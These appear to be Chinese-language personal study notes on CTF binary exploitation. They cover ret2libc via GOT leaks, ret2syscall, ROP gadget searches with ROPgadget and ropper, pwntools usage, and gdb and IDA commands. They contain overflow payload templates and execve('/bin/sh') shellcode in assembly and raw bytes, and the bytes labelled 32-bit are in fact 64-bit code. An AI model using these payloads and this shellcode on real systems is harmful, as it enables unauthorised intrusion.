主要记录pwn学习过程中的一些东西。
python 内置函数
1 2 3 4 5 6 7
| int([x[,base]]) 转换字符串或者数值为整。参数为字符串的时候,必须制定进制base,默认进制是10,可以取[2,36]或者0。为0的时候,进制信息从字符串中获取。Int的返回为10进制的整数。输入为浮点数时,会进行靠近0截断处理。类似的内置函数有float,long等。int('0x1AA',16) bin():把十进制整形转换成二进制字符 hex():把10进制转整形换成16进制 oct():把十进制转换成八进制字符 chr():把一个整形转换成ASCII码表中对应的单个字符 ,该参数必须是在范围[0..255]。把一个整形转换成ASCII码表中对应的单个字符 unichr(i)是chr的unicode版本,例如,unichr(97)返回字符串u'a'。参数的取值范围取决于Python如何配置 - 这可能是UCS2 [0..0xFFFF]或UCS4 [0..0x10FFFF]。 ord():和chr相反,把ASCII码表中的字符转换成对应的整形
|
解题步骤
思路
1 2 3 4 5 6 7
| 大概思路,checksec查看架构和保护,然后看后门函数 如果有system和/bin/sh:就想办法直接溢出或者其他方法直接去覆盖下来 如果没有/bin/sh,需要通过 gets 函数写到一个可读可写的地方,通常会找 bss 段,然后去执行 /bin/sh 如果没有system和/bin/sh,需要使用libc中的system和/bin/sh,知道了libc中的一个函数的地址就可以确定该程序利用的libc,从而知道其他函数的地址 获得libc的某个函数的地址通常采用的方法是:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址,所以这类题目需要两次payload 程序执行后,plt表里是got表的地址,got表是函数的真实地址
|
wp
1 2 3 4 5 6
| 1.通过第一次溢出,通过将puts的PLT地址放在返回处,泄露出执行过的函数的GOT地址(实际上puts的就可以),本地跟远程泄露的地址有可能不太一样 2.将puts的返回地址设置为_start函数(main()函数是用户代码的入口,是对用户而言;而_start()函数是系统代码的入口,是程序正真的入口),方便再次用来执行system('/bin/sh') 3.通过泄露的函数的GOT地址,计算出libc中system和/bin/sh的地址 4.再次通过溢出将返回地址覆盖成泄露出来的system的地址getshell
_system函数:在正常调用system函数的时候,堆栈位置的system_plt之后的内容为system函数的返回地址,在之后才是新的堆栈的栈顶位置,因此在system_plt和sh_addr之间增加了4个字符来进行填充。这四个字符可以任意。
|
知识点
系统调用号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数 应用程序调用系统调用的过程是: 1、把系统调用的编号存入 EAX 2、把函数参数存入其它通用寄存器 3、触发 0x80 号中断(int 0x80)
那么我们如果希望通过系统调用来获取shell就需要把系统调用的参数放入各个寄存器,然后执行int 0x80就可以了 如果说想通过系统调用执行的是:execve("/bin/sh",NULL,NULL)(32位程序) 查看 execve 的系统调用号:cat /usr/arm-linux-gnueabihf/include/asm/unistd.h | grep execve 然后将得到的结果转换成16进制。
eax寄存器存放系统调用号,ebx寄存器存放想要执行的/bin/sh的地址,还有两个参数设置为 0 所以现在需要做的就是让: eax=0xb #execve的系统调用号 ebx=/bin/sh 的地址 #要执行/bin/sh的地址 ecx=0 #置为0 edx=0 #置为0 只需要让栈顶的值是0xb然后可以通过pop eax达到目的
|
动态链接
1 2 3 4 5 6 7 8 9 10 11 12
| PLT:存放额外代码的表,称为程序链接表(超链接本身) GOT:用来存放外部的函数地址的数据表,称为全局偏移表(超链接的内容) 延时绑定只有在动态库函数在被调用时,才会地址解析和重定向 一般ret2libc需要构造两次payload
payload = b'a'*(0x9+0x4)+p32(puts_plt)+p32(main_add)+p32(puts_got) # 通过libc泄露某个函数地址的方法:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址
程序执行后,plt表里是got表的地址,got表是函数的真实地址 程序还未执行时,got表里还是plt表的地址,需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样 针对于地址中间位进行随机,最低的12位并不会发生改变,也就是我们需要获取到远程环境的函数的真实地址 进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
|
寄存器
EIP:存放房前执行的下一条指令的偏移地址,
ESP:存放当前栈帧的栈顶偏移地址,存储函数调用栈的栈顶地址
EBP:存放当前栈帧的栈底偏移地址,存储当前函数状态的基地址
RAX:通用寄存器,存放返回值
EIP寄存器始终指向下一条将要执行的指令,也就是说如果我们可以通过某种方式修改EIP寄存器的值,
checksec
1 2 3 4 5
| Arch: i386-32-little #程序架构信息 RELRO: Partial RELRO #GOT 改写 Stack: No canary found #canary 栈溢出保护 NX: NX enabled #栈中数据没有执行权限 PIE: No PIE (0x8048000) #位置无关可执行文件,no PIE可以使用ROP
|
解题方法
计算栈空间大小
1 2
| 方法一:直接使用IDA静态调试某个空间,查看定义给的大小,然后32位程序加4,64位程序加8 方法二:使用gdb将程序run起来之后,输入大量字符,函数会外带一个地址,转码之后就是空间大小
|
上图为32位程序的计算方式。
1
| 大量数据溢出之后,程序暂停后使用’x/x $rsp‘,查看RSP寄存器的地址信息和内容,将结果后面8位用于转换
|
上图为64位计算方式
计算偏移
下断点之后能看到
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
在里面esp为0xffffcd40, ebp为0xffffcdc8, 同时s相对于esp的索引为esp+0x1c(hex(0xffffcd5c-0xffffcd40)):
得到结论
s的地址为 0xffffcd5c:ESP中间的那个数
s相对于 ebp 的偏移为 0x6c:ebp第一个数 减掉 esp中间的那个数(hex(0xffffcdc8-0xffffcd5c))
s相对于返回地址的偏移为 0x6c+4:加4因为是32的程序,64位+8
(hex(0xffffcdc8-(0xffffcd40+(0xffffcd5c-0xffffcd40))))
esp为 0xffffced0
ebp为 0xffffcf58
s的地址为 0xffffcefe
s相对于ebp的偏移为
s相对于返回地址的偏移为
#jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80
确定libc版本
1 2 3 4 5 6 7 8 9 10 11 12 13
| 工具:LibcSearcher或者ldd,本地跟远程泄露的地址有可能不太一样 ldd 文件名:查看libc地址
方法一:在线寻找,gdb调试程序,run之后,ctrl+c中断程序,使用p(print)查看函数地址,再次run,对比system和read函数地址,通过低三位可以判断版本,并得到其他函数偏移。https://libc.blukat.me/
方法二:使用LibcSearcher(需要提前安装) puts_real_addr= u32(sh.recv(4)) #获取到put的执行后的地址 libc=LibcSearcher('puts',puts_real_addr) #puts是函数名,puts_real_addr是函数地址,定位libc libcbase=puts_real_addr-libc.dump('puts') #基址=函数中的puts地址-libc中的puts地址 systyem_addr=libcbase+libc.dump('system') #system偏移,基址+system在libc中的地址 bin_sh_sddr=libcbase+libc.dump('str_bin_sh') #/bin/sh偏移,基址+字符串/bin/sh在libc中的地址
通过libc泄露某个函数地址的方法:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址
|
ROP(返回导向编程)
1 2 3 4 5 6 7 8
| 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。 所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。 ROP 攻击一般得满足如下条件 - 程序存在溢出,并且可以控制返回地址。 - 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
|
命令
ROP链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ROPgadget 使用ROPgadget搜索操作寄存器的函数地址:ROPgadget --binary level2_x64 --only "pop|ret" 寻找控制eax的gadgets:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax' 寻找控制寄存器的地址:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax'|grep 'ebx' 获得/bin/sh字符串对应的地址:ROPgadget --binary rop --string '/bin/sh' 获得int 0x80的地址:ROPgadget --binary rop --only 'int' eax寄存器存放系统调用号,ebx寄存器存放想要执行的/bin/sh的地址,还有两个参数设置为 0 所以现在需要做的就是让: eax=0xb #execve的系统调用号 ebx=/bin/sh 的地址 #要执行/bin/sh的地址 ecx=0 #置为0 edx=0 #置为0 只需要让栈顶的值是0xb然后可以通过pop eax达到目的
ropper --file ret2text --search 'pop rdi' ropper --file ret2text --chain execveropper 或者ropper --file ret2text --chain execve
|
上图说明:
1 2 3
| payload= b'a'*112+p32(pop_eax)+p32(0xb)+p32(pop_else)+p32(0)+p32(0)+p32(bin_sh_add)+p32(int_addr) #填满栈空间+返回地址+0xb会被放入eax中+返回地址+0会被放到edx+0会被放到ecx+bin/sh放到ebx+int 80中断 #填满栈空间,返回地址,0xb会被放入eax中,返回地址,0会被放到edx,0会被放到ecx,bin/sh放到ebx,int 80中断
|
1 2
| payload= b'a'*112+p32(sys_addr)+p32(0x1234)+p32(bin_sh) #栈空间112,返回地址system,system返回地址可以任意,\bin\sh的地址
|
1 2 3
| payload=b'a'*112+p32(get_addr)+p32(sys_addr)+p32(bss_addr)+p32(bss_addr) #栈空间,返回地址,get返回地址,get写入的地方,任意地址即可 sys返回地址,sys参数
|
工具大概用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| cat 查看execve的系统调用号:cat /usr/include/asm/unistd_32.h | grep execve ROPgadget 使用ROPgadget搜索操作寄存器的函数地址:ROPgadget --binary level2_x64 --only "pop|ret" 寻找控制eax的gadgets:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax' 寻找控制寄存器的地址:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax'|grep 'ebx' 获得/bin/sh字符串对应的地址:ROPgadget --binary rop --string '/bin/sh' 获得int 0x80的地址:ROPgadget --binary rop --only 'int'
gdb: 加载程序:gdb ./程序名称 运行程序:r、run 下断点:b *地址、b *$rebase(0x933)、b 函数名称、break 函数名称 获取函数在内存中的位置:print 函数名称、p 函数名称、p system 查找字符串:find '/bin/sh' 查看断点信息:info b或者info break 删除断点:delete 序号 单步调试:ni 下一步:n 跳出函数:fini 查看栈的状态:stack 数字、stack 40 gdb调试转储:gdb level1 core 查看地址里面的信息:x/x $寄存器名称 cyclic: 生成若干数量的字符:cyclic 150 转码:cyclic -l 0x62616164 objdump: 查看反汇编代码:objdump -d 文件名
readelf: 查看文件中重定向信息:readelf -r 文件名
|
工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| IDA pwntools pwndbg checksec 文件名:查看保护机制 one_gadget readelf gdb vmmap可以看权限 objdump LibcSearcher 确定libc版本 ldd 确定libc版本https://libc.blukat.me/ ropper ROPgadget搜索操作寄存器的函数地址 cyclic
|
pwntools文章
context(os='linux',arch='amd64',log_level='debug')#操作系统,系统位数
content=1#控制远程或者本地
#remote:主要用作远程和服务器交互,返回一个类似连接对象
#p64:将数字转为字符串(p64/u64打包/解包 p32/u32)
#send:发送数据,通过连接对象调用
#interactive:反弹shell
#sh.sendlineafter('',)#遇到xxx语句停下来,发送某个数据
#sh.recvuntil('OK,this time we will get a shell.\n') # 接收到xxx
#sh.sendlineafter("Input:\n",payload)#遇到xxx语句停下来,发送某个数据
puts_addr= u32(sh.recv(4)) #获取put函数的地址
elf = ELF('stack1') #读取整个文件,并且分析文件
elf.plt["system"] #system在plt表的位置,需要使用hex()转换hex(elf.plt["system"])转成16进制
elf.got['puts'] #puts函数在pot表中的位置,需要使用hex()转成16进制
elf.symbols['main'] #定位文件main函数的地址
elf.search(b"/bin/bash") #搜寻某个字符串的位置,需要使用next(elf.search(b"/bin/bash"))
next(elf.search(b"/bin/bash")) #找到包含‘/bin/bash’(字符串,汇编代码或某个数值的地址)
#通过libc泄露某个函数地址的方法:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址
gdb.attach(p)#跟gdb交互
shellcraft.sh() #生成shellcode, 汇编语言
asm(shellcraft.sh())#将shellcode代码组装成字节,十六进制形式
playlod=b'a'*(0x6c-0x68)+p64(1853186401)#溢出#buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西
payload=payload+ b'a'*(112-len(payload))+p32(buf2_addr)#溢出需要112个字符,可以填充满
IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| Tab键 切回到汇编窗口 空格键 反汇编窗口切换文本跟图形 ESC 退到上一个操作地址 G 搜索g地址或者符号 N 重命名 分号键 注释 ALT+M 添加标签 CTRL+M 列出所有标签 CTRL+S 二进制段的开始地址结束地址 C code光标地址出内容解析成代码 P 在函数开始处使用P,从当前地址处解析成函数 D data解析成数据 A ASCII解析成ASCII U unDefined解析成未定义的内容 X 交叉引用 F5 看反汇编后的C代码 ALT+T 搜索文本 ALT+B 搜索16进制,搜索opcode如ELF文件头 CTRL+ALT+B 打开断点列表 F7 单步步入即单步进入函数 F8 单步不过即单步跨过函数 CTRL+F7 运行到函数返回地址 F4 运行到光标处即运行到选中位置 F2 下断点/取消断点 F9 运行程序 Shift+F12 查看string
|
ROPgadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| 安装 $ pip install ropgadget $ ROPgadget 用法:ROPgadget.py [-h] [-v] [-c] [ --binary <binary>] [--opcode <opcodes>] [ --string <字符串>] [--memstr <字符串>] [--depth <nbyte>] [ --only <key>] [--filter <key>] [--range <start-end>] [ --badbytes <byte>] [--rawArch <arch>] [--rawMode <mode>] [ --re <re>] [--offset <hexaddr>] [--ropchain] [--thumb] [ --console] [--norop] [--nojop] [--nosys] [--multibr] [ --all] [--dump]
可选参数: -h, --help 显示此帮助信息并退出 -v, --version 显示 ROPgadget 的版本 -c, --checkUpdate 检查是否有新版本可用 --binary <binary> 指定要分析的二进制文件名 --opcode <opcodes> 在可执行段中搜索操作码 --string <string> 在可读段中搜索字符串 --memstr <string> 搜索所有可读段中的每个字节 --depth <nbyte> 搜索引擎的深度(默认 10) --only <key> 只显示具体说明 --filter <key> 抑制特定指令 --range <start-end> 在两个地址之间搜索 (0x...-0x...) --badbytes <byte> 拒绝小工具地址中的特定字节 --rawArch <arch> 为原始文件指定一个拱形 --rawMode <mode> 指定原始文件的模式 --re <re> 正则表达式 --offset <hexaddr> 指定小工具地址的偏移量 --ropchain 启用 ROP 链生成 --thumb 为搜索引擎使用拇指模式(仅限 ARM) --console 为搜索引擎使用交互式控制台 --norop 禁用 ROP 搜索引擎 --nojop 禁用 JOP 搜索引擎 --callPreceded 仅显示调用前的小工具(仅限 x86) --nosys 禁用 SYS 搜索引擎 --multibr 启用多个分支小工具 --all 禁止删除重复的小工具 --dump 输出小工具字节
|
生成shellcode
32位python 官方版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
|
32位精简版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| ######################################################################### ## 一般函数调用参数是压入栈中,这里系统调用使用寄存器 ## 需要对如下几个寄存器进行设置,可以比对官方的实现 ebx = /bin/sh ## 第一个参数 ecx = 0 ## 第二个参数 edx = 0 ## 第三个参数 eax = 0xb ## 0xb为系统调用号,即sys_execve()系统函数对应的序号 int 0x80 ## 执行系统中断 ######################################################################### ## 更精炼的汇编代码 ## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh" ## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh" ## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外 ## "/bin/sh"是7个字符,32位中需要两行指令,末尾未填充的空字符 ## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。 push 0x68732f # 0x68732f --> hs/ little endian push 0x6e69622f # 0x6e69622f --> nib/ little endian mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb # al为eax的低8位 int 0x80 ## 汇编之后字节长度为20字节
|
64位shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall
|
64位精简版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| ###################################################################### ## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器 ## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9
rdi = /bin/sh ## 第一个参数 rsi = 0 ## 第二个参数 rdx = 0 ## 第三个参数 rax = 0x3b ## 64位下的系统调用号 syscall ## 64位使用 syscall ##################################################################### ## 精炼版本 ## ## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh" ## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh" ## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外 ## "/bin/sh"是7个字符,64位中需要一行指令,末尾未填充的空字符 ## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。
mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian push rbx push rsp pop rdi xor esi, esi # rsi低32位 xor edx, edx # rdx低32位 push 0x3b pop rax syscall ## 汇编之后字节长度为22字节
|
32位的shellcode
1
| \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
|